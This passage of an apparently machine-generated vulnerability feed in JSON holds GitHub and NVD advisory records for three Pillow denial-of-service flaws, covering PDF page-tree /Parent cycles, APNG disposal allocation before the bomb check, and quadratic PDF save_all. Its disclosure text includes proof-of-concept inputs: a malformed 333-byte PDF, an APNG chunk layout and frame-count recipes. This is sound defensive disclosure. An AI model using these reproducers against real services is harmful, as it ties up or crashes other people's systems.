page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-113722","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113722","type":"primary","publishedAt":"2026-10-20T20:17:18.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113722&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113722, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112406","cveId":"CVE-2026-112406","aliases":["GHSA-f2g6-542v-9j58"],"kind":"vulnerability","title":"Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle","summary":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.","detail":"```\n============================================================================\nInfinite loop in PdfParser.rewrite_pages on page tree Parent cycle\nLocation: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.\n\nThe bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` → `write_catalog()` → `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path.\n\nThis is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.\n\nThe attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.\n\n## Details\n\n`PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever.\n\nThe following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`:\n\n```\n%PDF-1.4\n1 0 obj\n >\nendobj\n2 0 obj\n >\nendobj\n3 0 obj\n >\nendobj\nxref\n0 4\n0000000000 65535 f \n0000000009 00000 n \n0000000056 00000 n \n0000000125 00000 n \ntrailer\n >\nstartxref\n192\n%%EOF\n```\n\n`Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time:\n\n```\n File \"src/PIL/PdfImagePlugin.py\", line 263, in _save\n existing_pdf.write_catalog()\n File \"src/PIL/PdfParser.py\", line 473, in write_catalog\n self.rewrite_pages()\n File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages\n while pages_tree_node_ref:\n```\n\nThe same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms.\n\nThe loop:\n\n```python\n# src/PIL/PdfParser.py:483-510\ndef rewrite_pages(self) -> None:\n pages_tree_nodes_to_delete = []\n for i, page_ref in enumerate(self.orig_pages):\n page_info = self.cached_objects[page_ref]\n del self.xref_table[page_ref.object_id]\n pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")])\n …\n # delete redundant Pages tree nodes from xref table\n for pages_tree_node_ref in pages_tree_nodes_to_delete:\n while pages_tree_node_ref:\n pages_tree_node = self.cached_objects[pages_tree_node_ref]\n if pages_tree_node_ref.object_id in self.xref_table:\n del self.xref_table[pages_tree_node_ref.object_id]\n pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None)\n self.orig_pages = []\n```\n\nHow the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, …, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` — which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) — and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` → `rewrite_pages()`.\n\nFor the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` — which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent — `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 → `/Kids [4 0 R]`, node 4 → `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless.\n\nThe parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats — the fix for CVE-2026-42310. The `/Parent` walk in `\n\nAffected package ranges reported by GitHub:\nPillow: >= 5.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:21:07.000Z","updatedAt":"2026-10-21T21:21:09.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-f2g6-542v-9j58","asOf":"2026-10-21T21:21:09.000Z"},"epss":{"probability":0.00417,"percentile":0.35771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112406&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f2g6-542v-9j58","url":"https://github.com/advisories/GHSA-f2g6-542v-9j58","type":"primary","publishedAt":"2026-10-21T21:21:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-f2g6-542v-9j58, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112406","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112406","type":"primary","publishedAt":"2026-10-19T22:17:08.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112406&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112406, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112399","cveId":"CVE-2026-112399","aliases":["GHSA-5xm2-6676-qcp9"],"kind":"vulnerability","title":"Pillow: APNG background disposal allocates full canvas before decompression bomb check","summary":"```\n============================================================================\nAPNG background disposal allocates full canvas before decompression bomb check\nLocation: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.","detail":"```\n============================================================================\nAPNG background disposal allocates full canvas before decompression bomb check\nLocation: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000×22000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright.\n\nThe bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width×height×4 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1×1 frame rectangle passes the only checks on the way.\n\nBelow available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000×45000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached.\n\n## Details\n\nFor an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched.\n\nThe following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB.\n\n```\nIHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA)\nacTL num_frames=2 num_plays=0\nfcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0\nIDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline\nIEND\n```\n\nWith `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed.\n\n### Code path\n\n`Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned:\n\n```python\n# src/PIL/Image.py:3699-3701\n im = factory(fp, filename)\n _decompression_bomb_check(im.size)\n return im\n```\n\nFor a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0:\n\n```python\n# src/PIL/PngImagePlugin.py:845-853\n if self.png.im_n_frames is not None:\n …\n self._seek(0)\n```\n\n`_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size:\n\n```python\n# src/PIL/PngImagePlugin.py:991-1001\n if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS:\n self.dispose_op = Disposal.OP_BACKGROUND\n\n self.dispose = None\n if self.dispose_op == Disposal.OP_PREVIOUS:\n …\n elif self.dispose_op == Disposal.OP_BACKGROUND:\n self.dispose = Image.core.fill(self.mode, self.size)\n self.dispose = self._crop(self.dispose, self.dispose_extent)\n```\n\n`Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000×22000), not the 1×1 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1×1) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000×13000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas.\n\nThe only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1×1 frame always does; IHDR width/height themselves are unconstrained 32-bit values at this point. Control then returns to `_open_core`, `_decompression_bomb_check((22000, 22000))` raises, and the 1.9 GB core image is released when the half-constructed `PngImageFile` is \n\nAffected package ranges reported by GitHub:\nPillow: >= 8.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:17:56.000Z","updatedAt":"2026-10-21T21:17:58.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-5xm2-6676-qcp9","asOf":"2026-10-21T21:17:58.000Z"},"epss":{"probability":0.00386,"percentile":0.32362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-5xm2-6676-qcp9","url":"https://github.com/advisories/GHSA-5xm2-6676-qcp9","type":"primary","publishedAt":"2026-10-21T21:17:56.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-5xm2-6676-qcp9, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-112399","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112399","type":"primary","publishedAt":"2026-10-19T22:17:07.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112894","cveId":"CVE-2026-112894","aliases":["GHSA-jg86-v3jv-hrpm"],"kind":"vulnerability","title":"Pillow: Quadratic-time DoS in PDF save_all (PdfParser.next_object_id)","summary":"```\n============================================================================\nQuadratic-time DoS in PDF save_all (PdfParser.next_object_id)\nLocation: src/PIL/PdfParser.py:629 in next_object_id()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.","detail":"```\n============================================================================\nQuadratic-time DoS in PDF save_all (PdfParser.next_object_id)\nLocation: src/PIL/PdfParser.py:629 in next_object_id()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.\n\nThe cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N²). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay.\n\nThe precondition is that the application calls `im.save(..., \"PDF\", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear.\n\n## Details\n\nSaving a multi-frame image as a multi-page PDF (`im.save(fp, \"PDF\", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.\n\nA 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):\n\n| frames | GIF size | `im.save(BytesIO(), \"PDF\", save_all=True)` | peak RSS |\n|---|---|---|---|\n| 2 000 | 30 KB | 1.1 s | |\n| 8 000 | 120 KB | 14.7 s | |\n| 16 000 | 240 KB | 70 s | 60 MB |\n| 32 000 | 480 KB | 262 s | 95 MB |\n| 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |\n\nEach doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.\n\nThe per-page id reservation loop runs before any page is written:\n\n```python\n# src/PIL/PdfImagePlugin.py:247-259 (_save)\n for im in ims:\n im_number_of_pages = 1\n if save_all:\n im_number_of_pages = getattr(im, \"n_frames\", 1)\n …\n for i in range(im_number_of_pages):\n image_refs.append(existing_pdf.next_object_id(0))\n if im.mode == \"P\" and \"transparency\" in im.info:\n image_refs.append(existing_pdf.next_object_id(0))\n\n page_refs.append(existing_pdf.next_object_id(0))\n contents_refs.append(existing_pdf.next_object_id(0))\n```\n\n`n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here:\n\n```python\n# src/PIL/PdfParser.py:626-634\n def next_object_id(self, offset: int | None = None) -> IndirectReference:\n try:\n # TODO: support reuse of deleted objects\n reference = IndirectReference(max(self.xref_table.keys()) 